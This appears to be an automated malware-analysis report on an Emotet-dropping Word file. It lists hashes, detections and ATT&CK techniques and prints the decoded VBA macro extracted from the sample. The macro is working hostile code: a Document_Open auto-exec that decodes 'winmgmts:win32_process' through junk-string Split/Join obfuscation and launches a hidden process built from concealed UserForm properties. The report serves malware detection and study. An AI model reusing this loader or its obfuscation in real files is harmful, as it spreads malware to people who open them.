Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 2224162fae6f2237…

MALICIOUS

Office (OLE)

171.6 KB Created: 2020-07-20 19:39:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: 06c1efb7bb48174f772c24f05ada100b SHA-1: 878fc5b75df9d1fb98f44390997e14316c1cb185 SHA-256: 2224162fae6f22374bdbbf3a47666b0f90817f3a194f8a4913afa4e569f4dc2a
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample is identified as malicious by ClamAV with the signature 'Doc.Dropper.EmotetIOS-9402070-0', strongly suggesting it is an Emotet variant. Critical heuristics indicate the use of a hidden UserForm with a command stager, a common technique for executing embedded VBA code. This VBA code likely downloads and executes a second-stage payload, aligning with Emotet's typical behavior as a downloader.

Heuristics 7

  • ClamAV: Doc.Dropper.EmotetIOS-9402070-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.EmotetIOS-9402070-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10503 bytes
SHA-256: 7c5929c26f7937eb24d998b45a5822e88d7f364a357b2e7ff6296c9cbfb6b7e3
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "paemmoygeokpoajbip"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
geirquoujwintuuqu
End Sub


Attribute VB_Name = "cauthxaoldeecciathteoj"
Attribute VB_Base = "0{47247249-C74D-4718-BB69-9A9997AADD11}{09C0A608-3A55-4CEB-AB1E-8A4A94B327F9}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "mip"
Function geirquoujwintuuqu()
joalyauthjoej = Chr(cauthxaoldeecciathteoj.Zoom + 1 + 4 + 10)
Dim BiW1Oujj As Integer
For BiW1Oujj = 3 To 5 + 5
DoEvents
Next BiW1Oujj
waif = "*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGDw*6723tguT&^$^RFy23uikJGDi*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGDn*6723tguT&^$^RFy23uikJGDm*6723tguT&^$^RFy23uikJGDg*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGDmt*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGD" + joalyauthjoej + ":*6723tguT&^$^RFy23uikJGDwi*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGDn3*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGD2*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGD_*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGD" + cauthxaoldeecciathteoj.quoanqueow + "r*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGDo*6723tguT&^$^RFy23uikJGDce*6723tguT&^$^RFy23uikJGDs*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGDs*6723tguT&^$^RFy23uikJGD"
Dim nKrPwX As String
nKrPwX = Replace$("Udglq1UXLnYV", "Udg", "RThCMP8ArHN")
vaesvairreachjeozzub = xiapziobgoisbothfulseih(waif)
Dim W1UISOnXMLB As String
W1UISOnXMLB = Replace$("NZ5Ef7AalhQpm", "NZ5Ef7Aal", "ORJ6AXQ")
Set gidthiafnuchxeicheec = CreateObject(vaesvairreachjeozzub)
Dim mJTY As String
mJTY = Replace$("R1UBv0I3EbyyEVsZjgG", "R1UBv0I3Eby", "iei2IY")
leijbief = cauthxaoldeecciathteoj.feuchvouxseewraow.ControlTipText
Dim vFktbhVi As String
vFktbhVi = Replace$("feUfrMGIX1?cBi", "feU", "Qlu")
zeovthauplisjaif = vaesvairreachjeozzub + joalyauthjoej + cauthxaoldeecciathteoj.mounzieymoewvoufyefcaut.ControlTipText + leijbief
Dim jbqvN3A7Cr As Byte
quadxierpoug = zeovthauplisjaif + cauthxaoldeecciathteoj.quoanqueow
Dim yuklqG As Date
Set liepgiarsieclouycour = hochcowtianthafgaep(quadxierpoug)
Dim DQk As Object
s = Array(nba, gidthiafnuchxeicheec. _
Create(weeb, woisyeotyoipzut, liepgiarsieclouycour))
Dim Xw3I8IKy1Nw As Byte
Dim UmSF As Currency
End Function
Function hochcowtianthafgaep(zieycouv)
Set hochcowtianthafgaep = CreateObject(zieycouv)
Dim VvSORugs As Integer
For VvSORugs = 2 To 3 + 3
DoEvents
Next VvSORugs
hochcowtianthafgaep _
. _
showwindow = (quiaywetbeulteiwhoaqu + laos) + (daobcocceunteuj + seafyeacxeequlud)
Dim YITX As String
YITX = Replace$("Q7IA8ED3EbuuD3NBG", "Q7IA8ED3Ebu", "SFo5UhLvJ")
Dim vEWs4OTUh As String
vEWs4OTUh = Replace$("edUfrLGtW1IbAi", "edU", "Q6Is")
End Function
Function xiapziobgoisbothfulseih(laugcheen)
thoqu = laugcheen
Dim KmJU As Double
nairxeiskebthakkieltheul = Split(thoqu, "*6723tguT&^$^RFy23uikJGD")
Dim FgCvBs As Integer
For FgCvBs = 1 To 4 + 8
DoEvents
Next FgCvBs

mierbezhuuxkeen = vVXqw + Join(nairxeiskebthakkieltheul, vVXqw)
Dim iVvSORugs As Byte
xiapziobgoisbothfulseih = mierbezhuuxkeen
Dim fv1OYVoT As String
fv1OYVoT = Replace$("HEedUUZ7EwGlubAiI", "HEedUUZ7E", "kuwcN")
End Function
Function weeb()
opo = cauthxaoldeecciathteoj.niojnoetzaes.Pages(1).ControlTipText
Dim XK6IihX4a As Integer
For XK6IihX4a = 3 To 7 + 6
DoEvents
Next XK6IihX4a

weeb = xiapziobgoisbothfulseih(opo)
Dim CJbwfpl2a As Byte
End Function


' Processing file: /opt/analyzer/scan_staging/4690671e96be41cc8eb483e06713bbb4.bin
' ===============================================================================
' Module streams:
' Macros/VBA/paemmoygeokpoajbip - 1373 bytes
' Line #0:
' 	LineCont 0x0004 02 00 
... (truncated)